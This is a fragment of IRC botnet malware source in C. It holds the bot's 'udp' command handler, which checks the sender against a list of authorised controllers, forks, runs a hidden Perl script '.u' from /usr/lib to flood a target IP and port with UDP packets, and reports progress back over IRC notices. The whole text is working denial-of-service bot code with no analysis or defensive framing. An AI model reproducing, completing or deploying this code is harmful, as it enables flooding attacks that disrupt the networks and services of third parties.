udp

void udp(int sock, char *sender, int argc, char **argv) {
if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
        if (disabled == 1) {
                Send(sock,"NOTICE %s :My commands are disabled!\n",sender);
                return;
        }
        if (UDPON == 0) {
                return;
        }
        unsigned int b;
        unsigned long secs2;
        time_t start=time(NULL);
        if (mfork(sender) != 0) return;
        if (argc < 3) {
        Send(sock,"NOTICE %s :>bot +udp <IP> <PORT> <PACKETS> <SECONDS>\n",sender);
        exit(1);
    }
        Send(sock,"NOTICE %s :UDP is flooding %s on port %s with %s packets for %s seconds!\n",sender,argv[1],argv[2],argv[3],argv[4]);
        chdir("/usr/lib");
        char system_sta[256];
        snprintf(system_sta, 256, "perl .u %s %s %s %s",argv[1],argv[2],argv[3],argv[4]);
        system(system_sta);
        secs2=atol(argv[3]);
        while(1){
                if (b >= 50) {
                        if (time(NULL) >= start+secs2) break;
                                b=0;
                }
        b++;
}
Send(sock,"NOTICE %s :UDP attack finished on %s!\n",sender,argv[1]);
} else {
Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
}
}